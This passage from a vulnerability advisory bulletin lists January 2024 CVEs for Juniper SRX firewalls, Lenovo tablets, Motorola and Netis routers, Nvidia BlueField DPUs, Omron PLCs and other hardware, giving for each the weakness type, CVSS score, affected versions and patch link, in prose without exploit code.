Product: srx4700					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-SRX4-090224/1745

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX4-090224/1746

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx5000					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-SRX5-090224/1747

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1748

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx5400					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1749

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1750

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx550					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://supportportal.juniper.net/JSA76390	H-JUN-SRX5-090224/1751

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-SRX5-090224/1752

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx550m					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1753

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1754

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: srx550_hm					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX5-090224/1755

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1756

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx5600					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1757

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1758

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx5800					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1759

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support portal.juniper.net/JSA76390	H-JUN-SRX5-090224/1760

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: srx650					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://supportportal.juniper.net/JSA76390	H-JUN-SRX6-090224/1761

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-SRX6-090224/1762

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Vendor: Lantronix					
Product: xport_edge					
Affected Version(s): -					
Inadequate Encryption Strength	23-Jan-2024	7.5	Lantronix XPort sends weakly encoded credentials within web request headers. **CVE ID : CVE-2023-7237**	N/A	H-LAN-XPOR-090224/1763
Vendor: Lenovo					
Product: tab_m10_plus_gen_3_tb125fu					
Affected Version(s): -					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1764
Product: tab_m8_hd_tb8505f					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1765
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1766
Product: tab_m8_hd_tb8505fs					
Affected Version(s): -					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1767

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1768
Product: tab_m8_hd_tb8505x					
Affected Version(s): -					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1769
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1770
Product: tab_m8_hd_tb8505xs					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1771
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1772
Product: tab_p11_pro_gen_2_tb132fu					
Affected Version(s): -					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	H-LEN-TAB_-090224/1773
Vendor: meross					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: msh30q					
Affected Version(s): -					
Authentication Bypass by Capture-replay	23-Jan-2024	8.8	The radio frequency communication protocol being used by Meross MSH30Q 4.5.23 is vulnerable to replay attacks, allowing attackers to record and replay previously captured communication to execute unauthorized commands or actions (e.g., thermostat's temperature). **CVE ID : CVE-2023-46892**	N/A	H-MER-MSH3-090224/1774
Cleartext Transmission of Sensitive Information	23-Jan-2024	5.7	Meross MSH30Q 4.5.23 is vulnerable to Cleartext Transmission of Sensitive Information. During the device setup phase, the MSH30Q creates an unprotected Wi-Fi access point. In this phase, MSH30Q needs to connect to the Internet through a Wi-Fi router. This is why MSH30Q asks for the Wi-Fi network name (SSID) and the Wi-Fi network	N/A	H-MER-MSH3-090224/1775

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			password. When the user enters the password, the transmission of the Wi-Fi password and name between the MSH30Q and mobile application is observed in the Wi-Fi network. Although the Wi-Fi password is encrypted, a part of the decryption algorithm is public so we complemented the missing parts to decrypt it. **CVE ID : CVE-2023-46889**		
Vendor: Motorola					
Product: mr2600					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	8.8	A command injection vulnerability exists in the 'SaveSysLogParams' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed.	N/A	H-MOT-MR26-090224/1776

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23626		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	8.8	A command injection vulnerability exists in the 'SaveStaticRouteIPv4Params' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23627**	N/A	H-MOT-MR26-090224/1777
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	8.8	A command injection vulnerability exists in the 'SaveStaticRouteIPv6Params' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23628**	N/A	H-MOT-MR26-090224/1778

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Unrestricted Upload of File with Dangerous Type	26-Jan-2024	8.8	An arbitrary firmware upload vulnerability exists in the Motorola MR2600. An attacker can exploit this vulnerability to achieve code execution on the device. Authentication is required, however can be bypassed. **CVE ID : CVE-2024-23630**	N/A	H-MOT-MR26-090224/1779
Improper Authentication	26-Jan-2024	7.5	An authentication bypass vulnerability exists in the web component of the Motorola MR2600. An attacker can exploit this vulnerability to access protected URLs and retrieve sensitive information. **CVE ID : CVE-2024-23629**	N/A	H-MOT-MR26-090224/1780
Vendor: netis-systems					
Product: mw5360					
Affected Version(s): -					
Improper Neutralization of Special	25-Jan-2024	9.8	NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to	N/A	H-NET-MW53-090224/1781

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in a Command ('Command Injection')			contain a command injection vulnerability via the password parameter on the login page. **CVE ID : CVE-2024-22729**		
Vendor: Nvidia					
Product: bluefield_2_ga					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	H-NVI-BLUE-090224/1782
Product: bluefield_2_lts					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	H-NVI-BLUE-090224/1783

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**		
Product: bluefield_3_ga					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	7.2	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS. **CVE ID : CVE-2023-31037**	https://nvidia.custhelp.com/app/answers/detail/a_id/5511	H-NVI-BLUE-090224/1784
Vendor: Omron					
Product: cj1g-cpu42p					
Affected Version(s): -					
Improper Restriction of Excessive	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent	https://www.fa.omron.co.jp/product/security/assets/pdf/en/	H-OMR-CJ1G-090224/1785

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Authentication Attempts			access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	OMSR-2023-010_en.pdf	
Product: cj1g-cpu43p					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ1G-090224/1786
Product: cj1g-cpu44p					
Affected Version(s): -					
